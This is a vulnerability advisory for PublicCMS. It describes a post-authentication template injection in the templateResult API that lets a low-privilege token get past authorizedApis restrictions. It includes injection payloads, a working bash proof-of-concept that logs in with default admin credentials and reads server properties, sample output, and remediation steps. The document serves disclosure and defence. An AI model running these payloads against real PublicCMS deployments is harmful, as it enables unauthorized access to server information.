PublicCMS Post-Auth templateResult Server-Side Template Injection Allows Bypass of authorizedApis and Disclosure of Server Information

Project: PublicCMS 

Repository: https://github.com/sanluan/PublicCMS 

Vulnerability ID: VPLUS-2026-25317

Title: Post-Authentication SSTI in PublicCMS templateResult API Allows Low-Privilege Tokens to Bypass authorizedApis

Description: A server-side template injection and authorization bypass vulnerability exists in the PublicCMS API endpoint:

  • /api/directive/tools/templateResult

In TemplateResultDirective.execute(...), user-controlled templateContent is directly evaluated as a FreeMarker template using templateComponent.getWebConfiguration(). At the same time, DirectiveComponent.initTemplateComponent(...) registers all directive namespaces and methods as shared variables in the web FreeMarker configuration.

Under normal HTTP access, directives are protected by needAppToken and authorizedApis checks in AbstractTemplateDirective.execute(Http...). However, when a directive is invoked from inside a template, execution flows through BaseTemplateDirective.execute(Environment...), which forwards directly to execute(RenderHandler) without reapplying the app-token authorization checks.

As a result, an attacker who only possesses a low-privilege app token authorized for templateResult can embed calls to other internal directives such as tools.systemProperties and tools.disk inside templateContent, thereby bypassing the intended authorizedApis restrictions and reading sensitive server-side information.

Affected Component: Template evaluation / directive authorization boundary

Affected File: publiccms-core/src/main/java/com/publiccms/views/directive/tools/TemplateResultDirective.java

Affected Function: execute

Affected Line: 43

Related Logic:

  • DirectiveComponent.initTemplateComponent(...)
  • AbstractTemplateDirective.execute(Http...)
  • BaseTemplateDirective.execute(Environment...)

Technical Root Cause: The vulnerability is caused by a combination of:

  1. Direct evaluation of attacker-controlled template content
  2. Use of the full web FreeMarker configuration containing shared directive objects
  3. Missing authorization enforcement when directives are invoked from within a template instead of through the normal HTTP directive path

This creates a privilege boundary mismatch: direct API access to sensitive directives is blocked, but indirect invocation through templateResult succeeds.

Attack Vector: An authenticated attacker with a low-privilege app token that is only allowed to access templateResult can send requests such as:

GET /api/directive/tools/templateResult?appToken=<token>&templateContent=<@tools.systemProperties>${.vars["user.dir"]!}|${.vars["java.version"]!}|${.vars["os.name"]!}</@tools.systemProperties>

or

GET /api/directive/tools/templateResult?appToken=<token>&templateContent=<@tools.disk>${rootPath!}|${totalSpace!}|${usableSpace!}</@tools.disk>

Proof of Concept:

#!/bin/bash
set -euo pipefail
BASE='http://192.168.200.81:8080'
TS=$(date +%s)
WORKDIR="/tmp/v20_template_bypass_$TS"
mkdir -p "$WORKDIR"
COOKIE="$WORKDIR/admin.cookies"
APPKEY="tmpl-$TS"
APPSECRET="sec-$TS-xyz"
CHANNEL="audit-$TS"

cookie_token() {
  python3 - "$1" "$2" <<'PY'
import sys
from http.cookiejar import MozillaCookieJar
jar = MozillaCookieJar(sys.argv[1])
jar.load(ignore_discard=True, ignore_expires=True)
for c in jar:
    if c.name == sys.argv[2]:
        parts = c.value.split('_', 1)
        print(parts[1] if len(parts) > 1 else c.value)
        break
PY
}

json_field() {
  python3 - "$1" "$2" <<'PY'
import json,sys
obj=json.loads(sys.argv[1])
print(obj.get(sys.argv[2], ''))
PY
}

curl -sS -c "$COOKIE" -b "$COOKIE" -X POST "$BASE/admin/login" \
  --data-urlencode 'username=admin' \
  --data-urlencode 'password=admin' \
  --data-urlencode 'returnUrl=/admin/' >/dev/null
CSRF=$(cookie_token "$COOKIE" PUBLICCMS_ADMIN)

curl -sS -c "$COOKIE" -b "$COOKIE" -X POST "$BASE/admin/sysApp/save?callbackType=closeCurrent&navTabId=sysApp/list" \
  --data-urlencode "_csrf=$CSRF" \
  --data-urlencode "appKey=$APPKEY" \
  --data-urlencode "appSecret=$APPSECRET" \
  --data-urlencode "channel=$CHANNEL" \
  --data-urlencode 'expiryMinutes=60' \
  --data-urlencode 'apis=templateResult' >/dev/null

TOKEN_JSON=$(curl -sS "$BASE/api/appToken?appKey=$APPKEY&appSecret=$APPSECRET")
APP_TOKEN=$(json_field "$TOKEN_JSON" appToken)

DIRECT_SYS=$(curl -sS "$BASE/api/directive/tools/systemProperties?appToken=$APP_TOKEN")
INJECT_SYS=$(curl -sS "$BASE/api/directive/tools/templateResult" --get \
  --data-urlencode 'templateContent=<@tools.systemProperties>${.vars["user.dir"]!}|${.vars["java.version"]!}|${.vars["os.name"]!}</@tools.systemProperties>' \
  --data-urlencode "appToken=$APP_TOKEN")
DIRECT_DISK=$(curl -sS "$BASE/api/directive/tools/disk?appToken=$APP_TOKEN")
INJECT_DISK=$(curl -sS "$BASE/api/directive/tools/templateResult" --get \
  --data-urlencode 'templateContent=<@tools.disk>${rootPath!}|${totalSpace!}|${usableSpace!}</@tools.disk>' \
  --data-urlencode "appToken=$APP_TOKEN")

printf 'APPKEY=%s\n' "$APPKEY"
printf 'APPSECRET=%s\n' "$APPSECRET"
printf 'APP_TOKEN=%s\n' "$APP_TOKEN"
printf 'DIRECT_SYSTEM_PROPERTIES=%s\n' "$DIRECT_SYS"
printf 'INJECTED_SYSTEM_PROPERTIES=%s\n' "$INJECT_SYS"
printf 'DIRECT_DISK=%s\n' "$DIRECT_DISK"
printf 'INJECTED_DISK=%s\n' "$INJECT_DISK"

Observed Behavior: The issue was successfully reproduced:

  • Direct access to /api/directive/tools/systemProperties with a token only authorized for templateResult returned:
    • {"error":"unAuthorized"}
  • Direct access to /api/directive/tools/disk returned:
    • {"error":"unAuthorized"}
  • However, calling these directives from inside templateContent succeeded and returned real server information

Example Results:

  • DIRECT_SYSTEM_PROPERTIES={"error":"unAuthorized"}
  • INJECTED_SYSTEM_PROPERTIES=/|21.0.10|Linux
  • DIRECT_DISK={"error":"unAuthorized"}
  • INJECTED_DISK=/data/publiccms|520120602624|124420669440

Impact: This vulnerability allows a low-privilege authenticated integration token to bypass API-level authorization boundaries and invoke internal directives that were not explicitly granted. In the verified case, it exposed sensitive server information including working directory, Java version, operating system, site root path, and disk capacity details. Depending on what additional directives or shared objects are present, the impact may extend beyond information disclosure.

Severity: Medium

CVSS: 6.5

Remediation Recommendations:

  1. Do not evaluate externally supplied templates using templateComponent.getWebConfiguration() directly.
  2. Use a dedicated sandboxed FreeMarker Configuration for templateResult, with shared variables removed or strictly allowlisted.
  3. Apply a strict TemplateClassResolver and disable access to internal directives and methods from user-controlled templates.
  4. Do not treat HTTP-layer authorizedApis checks as sufficient for template-internal directive calls. Add equivalent authorization enforcement in the template execution path, such as in BaseTemplateDirective.execute(Environment...) or the directive dispatch layer.
  5. If templateResult is intended only for debugging or internal use, disable it by default for external integrations or restrict it to trusted administrative contexts only.